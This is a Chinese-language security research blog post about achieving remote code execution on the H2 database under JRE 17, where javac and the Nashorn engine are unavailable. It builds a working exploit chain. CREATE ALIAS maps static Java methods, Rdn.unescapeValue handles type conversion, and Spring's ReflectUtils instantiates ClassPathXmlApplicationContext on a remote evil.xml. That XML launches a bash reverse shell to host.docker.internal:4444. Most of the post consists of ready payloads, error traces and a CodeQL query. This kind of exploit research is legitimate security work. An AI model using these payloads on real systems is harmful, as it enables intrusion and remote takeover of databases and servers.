H2 RCE 在 JRE 17 环境下的利用
RCE
这篇文章来源于去年研究的一个 RCE: https://exp10it.io/2024/03/solarwinds-security-event-manager-amf-deserialization-rce-cve-2024-0692/ (算是炒冷饭了)
H2 数据库 RCE 的常规思路是用 CREATE ALIAS 定义 Java 方法, 这个过程会涉及到调用 javac 命令进行编译操作
1
2
|
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "test";}';
CALL EXEC ('open -a Calculator.app');
|
而众所周知 JRE 跟 JDK 的其中一个不同点在于前者没有 javac 命令, 因此在 JRE 环境下, 执行上述的 payload 会因为没有 javac 命令而报错
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
java.io.IOException: Cannot run program ""javac"": error=2, No such file or directory"; SQL statement:
CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "test";}' [90028-232] (through reference chain: challenge.MyDataSource["connection"])] with root cause
java.io.IOException: error=2, No such file or directory
at java.base/java.lang.ProcessImpl.forkAndExec(Native Method) ~[na:na]
at java.base/java.lang.ProcessImpl.<init>(Unknown Source) ~[na:na]
at java.base/java.lang.ProcessImpl.start(Unknown Source) ~[na:na]
at java.base/java.lang.ProcessBuilder.start(Unknown Source) ~[na:na]
at java.base/java.lang.ProcessBuilder.start(Unknown Source) ~[na:na]
at org.h2.util.SourceCompiler.exec(SourceCompiler.java:387) ~[h2-2.3.232.jar!/:na]
at org.h2.util.SourceCompiler.javacProcess(SourceCompiler.java:369) ~[h2-2.3.232.jar!/:na]
at org.h2.util.SourceCompiler.javacCompile(SourceCompiler.java:286) ~[h2-2.3.232.jar!/:na]
at org.h2.util.SourceCompiler$1.findClass(SourceCompiler.java:167) ~[h2-2.3.232.jar!/:na]
at java.base/java.lang.ClassLoader.loadClass(Unknown Source) ~[na:na]
at java.base/java.lang.ClassLoader.loadClass(Unknown Source) ~[na:na]
at org.h2.util.SourceCompiler.getClass(SourceCompiler.java:179) ~[h2-2.3.232.jar!/:na]
at org.h2.util.SourceCompiler.getMethod(SourceCompiler.java:244) ~[h2-2.3.232.jar!/:na]
at org.h2.schema.FunctionAlias.loadFromSource(FunctionAlias.java:134) ~[h2-2.3.232.jar!/:na]
at org.h2.schema.FunctionAlias.load(FunctionAlias.java:122) ~[h2-2.3.232.jar!/:na]
at org.h2.schema.FunctionAlias.init(FunctionAlias.java:109) ~[h2-2.3.232.jar!/:na]
at org.h2.schema.FunctionAlias.newInstanceFromSource(FunctionAlias.java:101) ~[h2-2.3.232.jar!/:na]
at org.h2.command.ddl.CreateFunctionAlias.update(CreateFunctionAlias.java:49) ~[h2-2.3.232.jar!/:na]
at org.h2.command.CommandContainer.update(CommandContainer.java:139) ~[h2-2.3.232.jar!/:na]
at org.h2.command.Command.executeUpdate(Command.java:304) ~[h2-2.3.232.jar!/:na]
at org.h2.command.Command.executeUpdate(Command.java:248) ~[h2-2.3.232.jar!/:na]
at org.h2.command.dml.RunScriptCommand.execute(RunScriptCommand.java:120) ~[h2-2.3.232.jar!/:na]
at org.h2.command.dml.RunScriptCommand.update(RunScriptCommand.java:71) ~[h2-2.3.232.jar!/:na]
at org.h2.command.CommandContainer.update(CommandContainer.java:139) ~[h2-2.3.232.jar!/:na]
at org.h2.command.Command.executeUpdate(Command.java:304) ~[h2-2.3.232.jar!/:na]
at org.h2.command.Command.executeUpdate(Command.java:248) ~[h2-2.3.232.jar!/:na]
at org.h2.engine.Engine.openSession(Engine.java:280) ~[h2-2.3.232.jar!/:na]
at org.h2.engine.Engine.createSession(Engine.java:201) ~[h2-2.3.232.jar!/:na]
at org.h2.engine.SessionRemote.connectEmbeddedOrServer(SessionRemote.java:344) ~[h2-2.3.232.jar!/:na]
at org.h2.jdbc.JdbcConnection.<init>(JdbcConnection.java:124) ~[h2-2.3.232.jar!/:na]
at org.h2.Driver.connect(Driver.java:59) ~[h2-2.3.232.jar!/:na]
at java.sql/java.sql.DriverManager.getConnection(Unknown Source) ~[java.sql:na]
at java.sql/java.sql.DriverManager.getConnection(Unknown Source) ~[java.sql:na]
|
此外, 在 Java 17 版本中删除了 Nashorn JavaScript 引擎 (更准确来说是在 Java 15 及以后被删除的), 因此下面这段 payload 也无法使用
1
2
|
String javascript = "//javascript\\njava.lang.Runtime.getRuntime().exec(\\"open -a Calculator\\")";
String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER test BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS '"+ javascript +"'";
|
那么有什么解决办法呢? 翻阅 H2 数据库的文档可知, CREATE ALIAS 除了创建 Java 函数外, 还能够直接引用已知的 Java 静态方法, 这个过程不需要 javac 命令
https://h2database.com/html/features.html
https://h2database.com/html/datatypes.html
https://h2database.com/html/grammar.html

那么就可以尝试结合 Java 内置库或第三方依赖使用一些特定的静态方法完成 RCE
这个思路其实在去年的文章中已经初见端倪, 当时使用的是 commons-io + commons-beanutils 来实现任意文件写入 + 反射调用
这次再给出一个 Spring 环境下的利用: 利用 Spring 的 ReflectUtils 反射调用 ClassPathXmlApplicationContext 的构造方法
先照着官方文档写一段 payload
1
2
3
4
5
6
7
8
|
CREATE ALIAS CLASS_FOR_NAME FOR 'java.lang.Class.forName(java.lang.String)';
CREATE ALIAS NEW_INSTANCE FOR 'org.springframework.cglib.core.ReflectUtils.newInstance(java.lang.Class, java.lang.Class[], java.lang.Object[])';
SET @url_str='http://host.docker.internal:8000/evil.xml';
SET @context_clazz=CLASS_FOR_NAME('org.springframework.context.support.ClassPathXmlApplicationContext');
SET @string_clazz=CLASS_FOR_NAME('java.lang.String');
CALL NEW_INSTANCE(@context_clazz, ARRAY[@string_clazz], ARRAY[@url_str]);
|
但这里会存在一个问题, 如果直接这样执行 SQL 语句的话会报错
1
2
3
|
Caused by: org.h2.jdbc.JdbcSQLDataException: Data conversion error converting "CHARACTER VARYING to JAVA_OBJECT"; SQL statement:
CALL NEW_INSTANCE(@context_clazz, ARRAY[@string_clazz], ARRAY[@url_str]) [22018-232]
|
这是由于 H2 不支持 JAVA_OBJECT
与 VARCHAR (CHARACTER VARYING) 类型之间的转换
https://github.com/h2database/h2database/issues/3389
上面的 @url_str
属于 VARCHAR 类型, 而 ReflectUtils.newInstance 传入的参数 args 属于 Object 类型

解决办法是找一个参数是 Object 类型并且返回值是 String 类型的静态方法, 间接实现类型的转换, 可以使用 CodeQL/Tabby 或者手工查找
1
2
3
4
5
6
7
8
9
10
|
import java
from Method m
where
m.isPublic() and
m.isStatic() and
m.getNumberOfParameters() = 1 and
m.getAParameter().getType() instanceof TypeString and
m.getReturnType() instanceof TypeObject
select m
|
我选择的是 javax.naming.ldap.Rdn.unescapeValue
方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
|
public static Object unescapeValue(String val) {
char[] chars = val.toCharArray();
int beg = 0;
int end = chars.length;
// Trim off leading and trailing whitespace.
while ((beg < end) && isWhitespace(chars[beg])) {
++beg;
}
while ((beg < end) && isWhitespace(chars[end - 1])) {
--end;
}
// Add back the trailing whitespace with a preceding '\'
// (escaped or unescaped) that was taken off in the above
// loop. Whether or not to retain this whitespace is decided below.
if (end != chars.length &&
(beg < end) &&
chars[end - 1] == '\\') {
end++;
}
if (beg >= end) {
return "";
}
if (chars[beg] == '#') {
// Value is binary (eg: "#CEB1DF80").
return decodeHexPairs(chars, ++beg, end);
}
// Trim off quotes.
if ((chars[beg] == '\"') && (chars[end - 1] == '\"')) {
++beg;
--end;
}
StringBuilder builder = new StringBuilder(end - beg);
int esc = -1; // index of the last escaped character
for (int i = beg; i < end; i++) {
if ((chars[i] == '\\') && (i + 1 < end)) {
if (!Character.isLetterOrDigit(chars[i + 1])) {
++i; // skip backslash
builder.append(chars[i]); // snarf escaped char
esc = i;
} else {
// Convert hex-encoded UTF-8 to 16-bit chars.
byte[] utf8 = getUtf8Octets(chars, i, end);
if (utf8.length > 0) {
try {
builder.append(new String(utf8, "UTF8"));
} catch (java.io.UnsupportedEncodingException e) {
// shouldn't happen
}
i += utf8.length * 3 - 1;
} else { // no utf8 bytes available, invalid DN
// '/' has no meaning, throw exception
throw new IllegalArgumentException(
"Not a valid attribute string value:" +
val + ",improper usage of backslash");
}
}
} else {
builder.append(chars[i]); // snarf unescaped char
}
}
// Get rid of the unescaped trailing whitespace with the
// preceding '\' character that was previously added back.
int len = builder.length();
if (isWhitespace(builder.charAt(len - 1)) && esc != (end - 1)) {
builder.setLength(len - 1);
}
return builder.toString();
}
|
最终 payload
1
2
3
4
5
6
7
8
9
10
|
CREATE ALIAS CLASS_FOR_NAME FOR 'java.lang.Class.forName(java.lang.String)';
CREATE ALIAS NEW_INSTANCE FOR 'org.springframework.cglib.core.ReflectUtils.newInstance(java.lang.Class, java.lang.Class[], java.lang.Object[])';
CREATE ALIAS UNESCAPE_VALUE FOR 'javax.naming.ldap.Rdn.unescapeValue(java.lang.String)';
SET @url_str='http://host.docker.internal:8000/evil.xml';
SET @url_obj=UNESCAPE_VALUE(@url_str);
SET @context_clazz=CLASS_FOR_NAME('org.springframework.context.support.ClassPathXmlApplicationContext');
SET @string_clazz=CLASS_FOR_NAME('java.lang.String');
CALL NEW_INSTANCE(@context_clazz, ARRAY[@string_clazz], ARRAY[@url_obj]);
|
evil.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/host.docker.internal/4444 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
|
理论上结合不同的第三方依赖甚至 Java 内置库会有很多种利用思路, 本篇文章仅起到一个抛砖引玉的作用 (